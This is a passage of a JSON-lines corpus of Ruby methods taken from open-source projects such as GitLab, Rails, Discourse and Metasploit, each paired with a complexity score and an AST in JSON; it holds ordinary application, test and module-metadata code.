children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},\"set\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"priority\"]},{\"type\":\"int\",\"children\":[5]}]}]}]},\"perform_later\"]}]}]}]}]}","id":"5097cc28-40d1-4f73-9855-157616daa9f4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_archived_and_traversal_ids_to_vulnerability_statistics.rb","start_line":69,"raw_source":"def update_sql(vulnerability_statistics_ids, with_project_information)\n        format(UPDATE_SQL,\n          vulnerability_statistics_ids: vulnerability_statistics_ids.map { |id| Integer(id) }.join(', '),\n          with_values: with_project_information)\n      end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"update_sql\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vulnerability_statistics_ids\"]},{\"type\":\"arg\",\"children\":[\"with_project_information\"]}]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"UPDATE_SQL\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vulnerability_statistics_ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vulnerability_statistics_ids\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"Integer\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with_values\"]},{\"type\":\"lvar\",\"children\":[\"with_project_information\"]}]}]}]}]}","id":"a13c27af-149d-40ca-830c-95e344bf539b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/inheritance_test.rb","start_line":340,"raw_source":"def test_where_create_with_invalid_type\n    assert_raise(ActiveRecord::SubclassNotFound) { Company.where(type: \"InvalidType\").create }\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_where_create_with_invalid_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"SubclassNotFound\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Company\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"InvalidType\"]}]}]}]},\"create\"]}]}]}","id":"f7afe1a5-005c-4398-9b28-4e8c0ad39905"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'SSH Version Corruption',\n        'Description' => %q{\n          This module sends a series of SSH requests with a corrupted version string\n        },\n        'Author' => [ 'hdm' ],\n        'License' => MSF_LICENSE,\n        'Notes' => {\n          'Stability' => [CRASH_SERVICE_DOWN],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n    register_options([\n      Opt::RPORT(22),\n      OptInt.new('MAXDEPTH', [false, 'Specify a maximum byte depth to test'])\n    ])\n  end","complexity_score":6.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"SSH Version Corruption\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module sends a series of SSH requests with a corrupted version string\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"hdm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[22]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"MAXDEPTH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Specify a maximum byte depth to test\"]}]}]}]}]}]}]}","id":"8a43986b-8652-4546-a848-9abc743b81f5"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/lib/migration/table_dropper_spec.rb","start_line":13,"raw_source":"def function_exists?(function_name, schema_name = \"public\")\n    DB.exec(<<~SQL) > 0\n      SELECT 1\n      FROM information_schema.routines\n      WHERE routine_type = 'FUNCTION' AND\n            routine_name = '#{function_name}' AND\n            specific_schema = '#{schema_name}'\n    SQL\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"function_exists?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"function_name\"]},{\"type\":\"optarg\",\"children\":[\"schema_name\",{\"type\":\"str\",\"children\":[\"public\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT 1\\n\"]},{\"type\":\"str\",\"children\":[\"FROM information_schema.routines\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE routine_type = 'FUNCTION' AND\\n\"]},{\"type\":\"str\",\"children\":[\"      routine_name = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"function_name\"]}]},{\"type\":\"str\",\"children\":[\"' AND\\n\"]},{\"type\":\"str\",\"children\":[\"      specific_schema = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"schema_name\"]}]},{\"type\":\"str\",\"children\":[\"'\\n\"]}]}]},\">\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"7245b6dd-679c-4d71-818b-32667d0d9040"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/html_to_markdown.rb","start_line":253,"raw_source":"def visit_abbr(node)\n    title = node[\"title\"].presence\n    attributes = { title: } if title\n    create_element(\"abbr\", traverse(node, within_html_block: true), attributes).to_html\n  end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_abbr\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"title\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]},\"presence\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]},{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"title\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_element\",{\"type\":\"str\",\"children\":[\"abbr\"]},{\"type\":\"send\",\"children\":[null,\"traverse\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"within_html_block\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},\"to_html\"]}]}]}","id":"9de46048-370c-422b-94a0-1e9d9ace9673"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb","start_line":384,"raw_source":"def test_build_then_save_with_has_one_inverse\n    post   = posts(:thinking)\n    person = post.single_people.build(first_name: \"Bob\")\n    person.save\n    post.reload\n\n    assert_includes post.single_people, person\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_build_then_save_with_has_one_inverse\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"thinking\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"person\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"single_people\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_name\"]},{\"type\":\"str\",\"children\":[\"Bob\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"person\"]},\"save\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"reload\"]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"single_people\"]},{\"type\":\"lvar\",\"children\":[\"person\"]}]}]}]}","id":"6939d3bd-da09-4bc2-95f3-a87eeed379f4"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/deprecation_test.rb","start_line":19,"raw_source":"def setup\n      @original_mode = ActiveRecord::Associations::Deprecation.mode\n      @original_backtrace = ActiveRecord::Associations::Deprecation.backtrace\n      @original_backtrace_cleaner = ActiveRecord::LogSubscriber.backtrace_cleaner\n\n      bc = ActiveSupport::BacktraceCleaner.new\n      bc.add_silencer { !_1.include?(THIS_FILE) }\n\n      ActiveRecord::LogSubscriber.backtrace_cleaner = bc\n    end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@original_mode\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Associations\"]},\"Deprecation\"]},\"mode\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@original_backtrace\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Associations\"]},\"Deprecation\"]},\"backtrace\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@original_backtrace_cleaner\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"LogSubscriber\"]},\"backtrace_cleaner\"]}]},{\"type\":\"lvasgn\",\"children\":[\"bc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"BacktraceCleaner\"]},\"new\"]}]},{\"type\":\"numblock\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bc\"]},\"add_silencer\"]},1,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"_1\"]},\"include?\",{\"type\":\"const\",\"children\":[null,\"THIS_FILE\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"LogSubscriber\"]},\"backtrace_cleaner=\",{\"type\":\"lvar\",\"children\":[\"bc\"]}]}]}]}","id":"8845b2ce-77bd-45f9-9f56-47508f5b3a05"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/activitypub/activity/create.rb","start_line":443,"raw_source":"def addresses_local_accounts?\n    return true if @options[:delivered_to_account_id]\n\n    ActivityPub::TagManager.instance.uris_to_local_accounts((audience_to + audience_cc).uniq).exists?\n  end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"addresses_local_accounts?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"delivered_to_account_id\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uris_to_local_accounts\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"audience_to\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"audience_cc\"]}]}]},\"uniq\"]}]},\"exists?\"]}]}]}","id":"e4d764c9-3225-42d5-942c-3a6b0eebdd6a"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/options.rb","start_line":277,"raw_source":"def test_highlight_option\n    options = setup_options_from_input(\"--highlights\")\n    assert options[:highlight_user_input]\n\n    options = setup_options_from_input(\"--no-highlights\")\n    assert !options[:highlight_user_input]\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_highlight_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[null,\"setup_options_from_input\",{\"type\":\"str\",\"children\":[\"--highlights\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"highlight_user_input\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[null,\"setup_options_from_input\",{\"type\":\"str\",\"children\":[\"--no-highlights\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"highlight_user_input\"]}]},\"!\"]}]}]}]}","id":"0f0ff7b5-2cb0-4f62-a668-73c0169cde1c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":693,"raw_source":"def self.order_by_metric_column(metric, direction)\n    column_expression = MergeRequest::Metrics.arel_table[metric]\n    column_expression_with_direction = direction == 'ASC' ? column_expression.asc : column_expression.desc\n\n    Gitlab::Pagination::Keyset::Order.build(\n      [\n        Gitlab::Pagination::Keyset::ColumnOrderDefinition.new(\n          attribute_name: \"merge_request_metrics_#{metric}\",\n          column_expression: column_expression,\n          order_expression: column_expression_with_direction.nulls_last,\n          reversed_order_expression: column_expression_with_direction.reverse.nulls_first,\n          order_direction: direction,\n          nullable: :nulls_last,\n          add_to_projections: true\n        ),\n        Gitlab::Pagination::Keyset::ColumnOrderDefinition.new(\n          attribute_name: 'merge_request_metrics_id',\n          order_expression: MergeRequest::Metrics.arel_table[:id].desc,\n          add_to_projections: true\n        )\n      ])\n  end","complexity_score":21.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"order_by_metric_column\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"metric\"]},{\"type\":\"arg\",\"children\":[\"direction\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"column_expression\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},\"Metrics\"]},\"arel_table\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"metric\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"column_expression_with_direction\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"direction\"]},\"==\",{\"type\":\"str\",\"children\":[\"ASC\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_expression\"]},\"asc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_expression\"]},\"desc\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Pagination\"]},\"Keyset\"]},\"Order\"]},\"build\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Pagination\"]},\"Keyset\"]},\"ColumnOrderDefinition\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attribute_name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"merge_request_metrics_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metric\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column_expression\"]},{\"type\":\"lvar\",\"children\":[\"column_expression\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order_expression\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_expression_with_direction\"]},\"nulls_last\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reversed_order_expression\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_expression_with_direction\"]},\"reverse\"]},\"nulls_first\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order_direction\"]},{\"type\":\"lvar\",\"children\":[\"direction\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nullable\"]},{\"type\":\"sym\",\"children\":[\"nulls_last\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"add_to_projections\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Pagination\"]},\"Keyset\"]},\"ColumnOrderDefinition\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attribute_name\"]},{\"type\":\"str\",\"children\":[\"merge_request_metrics_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order_expression\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},\"Metrics\"]},\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"desc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"add_to_projections\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}","id":"6acafe5f-dd7d-49f7-b0c9-5526909df8ec"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/numericality_validation_test.rb","start_line":366,"raw_source":"def with_each_topic_approved_value(values)\n      topic = Topic.new(title: \"numeric test\", content: \"whatever\")\n      values.each do |value|\n        topic.approved = value\n        yield topic, value\n      end\n    end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"with_each_topic_approved_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"values\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"numeric test\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"whatever\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"approved=\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}","id":"3b977a42-46e8-421c-b0b4-579c836eb984"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/gems/gitlab-orchestrator/lib/gitlab/orchestrator/lib/deployment/resource_presets.rb","start_line":26,"raw_source":"def resource_values(preset_name)\n            raise ArgumentError, \"'#{preset_name}' is not a valid preset name\" unless PRESETS.include?(preset_name)\n\n            send(preset_name) # rubocop:disable GitlabSecurity/PublicSend -- send with user input is prevented by validating PRESETS\n          end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"resource_values\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"preset_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PRESETS\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"preset_name\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preset_name\"]}]},{\"type\":\"str\",\"children\":[\"' is not a valid preset name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"lvar\",\"children\":[\"preset_name\"]}]}]}]}","id":"f03e746d-6197-4424-9994-92832d2db842"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/services/meetings/icalendar_builder.rb","start_line":252,"raw_source":"def format_ical_offset(offset_seconds)\n      hours = offset_seconds / 3600\n      minutes = (offset_seconds.abs / 60) % 60\n      sprintf(\"%<hours>+03d%<minutes>02d\", hours:, minutes:)\n    end","complexity_score":8.55,"ast_json":"{\"type\":\"def\",\"children\":[\"format_ical_offset\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"offset_seconds\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hours\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset_seconds\"]},\"/\",{\"type\":\"int\",\"children\":[3600]}]}]},{\"type\":\"lvasgn\",\"children\":[\"minutes\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset_seconds\"]},\"abs\"]},\"/\",{\"type\":\"int\",\"children\":[60]}]}]},\"%\",{\"type\":\"int\",\"children\":[60]}]}]},{\"type\":\"send\",\"children\":[null,\"sprintf\",{\"type\":\"str\",\"children\":[\"%<hours>+03d%<minutes>02d\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hours\"]},{\"type\":\"lvar\",\"children\":[\"hours\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"minutes\"]},{\"type\":\"lvar\",\"children\":[\"minutes\"]}]}]}]}]}]}","id":"8b01db25-d279-41fd-b011-5879068bd425"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/retirement_mixin.rb","start_line":42,"raw_source":"def retirement_warn=(days)\n    if retirement_warn != days\n      self.retirement_last_warn = nil # Reset so that a new warning can be sent out when the time is right\n      write_attribute(:retirement_warn, days)\n      self.retirement_requester = nil\n    end\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"retirement_warn=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"days\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"retirement_warn\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"days\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"retirement_last_warn=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"write_attribute\",{\"type\":\"sym\",\"children\":[\"retirement_warn\"]},{\"type\":\"lvar\",\"children\":[\"days\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"retirement_requester=\",{\"type\":\"nil\",\"children\":[]}]}]},null]}]}","id":"b863a2c6-ea66-467a-a299-6cfe187d846f"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/listable_topic_serializer.rb","start_line":56,"raw_source":"def highest_post_number\n    (scope.is_whisperer? && object.highest_staff_post_number) || object.highest_post_number\n  end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"highest_post_number\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"is_whisperer?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"highest_staff_post_number\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"highest_post_number\"]}]}]}","id":"e56ecbfc-d156-4edd-9833-806c6e0fd225"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request_diff.rb","start_line":300,"raw_source":"def get_patch_id_sha\n    return patch_id_sha if patch_id_sha.present?\n\n    set_patch_id_sha\n\n    return unless patch_id_sha.present?\n\n    patch_id_sha\n  end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"get_patch_id_sha\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"patch_id_sha\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"patch_id_sha\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"set_patch_id_sha\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"patch_id_sha\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"patch_id_sha\"]}]}]}","id":"8409eb59-5099-4e24-b281-993c31d4ce96"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migrations/extension_helpers.rb","start_line":7,"raw_source":"def create_extension(extension)\n          execute(\"CREATE EXTENSION IF NOT EXISTS #{extension}\")\n        rescue ActiveRecord::StatementInvalid => e\n          dbname = ApplicationRecord.database.database_name\n          user = ApplicationRecord.database.username\n\n          warn(<<~MSG) if e.to_s.include?('permission denied')\n            GitLab requires the PostgreSQL extension '#{extension}' installed in database '#{dbname}', but\n            the database user is not allowed to install the extension.\n\n            You can either install the extension manually using a database superuser:\n\n              CREATE EXTENSION IF NOT EXISTS #{extension}\n\n            Or, you can solve this by logging in to the GitLab\n            database (#{dbname}) using a superuser and 